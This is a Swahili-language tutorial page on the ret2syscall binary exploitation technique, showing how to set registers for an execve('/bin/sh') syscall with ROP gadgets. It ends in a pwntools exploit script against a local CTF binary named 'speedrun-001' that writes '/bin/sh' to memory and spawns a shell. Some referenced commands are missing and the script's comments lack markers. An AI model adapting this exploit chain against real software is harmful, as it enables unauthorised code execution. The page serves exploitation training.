Ret2syscall
Ret2syscall
Taarifa Msingi
Hii inafanana na Ret2lib, hata hivyo, katika kesi hii hatutaita kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa tayari kuita syscall sys_execve
na baadhi ya hoja kutekeleza /bin/sh
. Mbinu hii kawaida hutekelezwa kwenye faili za binary ambazo zimekamilishwa kistatiki, hivyo kunaweza kuwa na vifaa vingi na maagizo ya syscall.
Ili kuandaa wito kwa syscall inahitajika usanidi ufuatao:
rax: 59 Taja sys_execve
rdi: ptr kwa "/bin/sh" taja faili ya kutekeleza
rsi: 0 taja hakuna hoja zilizopitishwa
rdx: 0 taja hakuna mazingira ya mazingira yaliyopitishwa
Kwa hivyo, kimsingi ni lazima kuandika mfuatano /bin/sh
mahali fulani na kisha kutekeleza syscall
(ukiwa makini na kujaza inayohitajika kudhibiti steki). Kwa hili, tunahitaji kifaa cha kuandika /bin/sh
katika eneo lililojulikana.
Syscall nyingine ya kuvutia ya kuita ni mprotect
ambayo ingemruhusu mshambuliaji kurekebisha ruhusa ya ukurasa kwenye kumbukumbu. Hii inaweza kuunganishwa na ret2shellcode.
Vifaa vya Usajili
Tuanze kwa kutafuta jinsi ya kudhibiti vifaa hivyo:
Kwa anwani hizi ni inawezekana kuandika maudhui kwenye stack na kuzipakia kwenye rejista.
Andika string
Kumbukumbu inayoweza kuandikwa
Kwanza unahitaji kupata mahali pa kuandika kwenye kumbukumbu.
Andika String kwenye kumbukumbu
Kisha unahitaji kupata njia ya kuandika maudhui yoyote kwenye anwani hii
Kiotomatiki ROP mnyororo
Amri ifuatayo inaunda mnyororo kamili wa sys_execve
ROP ukipewa binary ya tuli wakati kuna vifaa vya andika-nini-popote na maagizo ya syscall:
Biti 32
Biti 64
Vifaa Vinavyokosekana
Ikiwa unakosa vifaa, kwa mfano kuandika /bin/sh
kumbukumbu, unaweza kutumia mbinu ya SROP kudhibiti thamani zote za rejista (ikiwa ni pamoja na RIP na rejista za params) kutoka kwenye steki:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated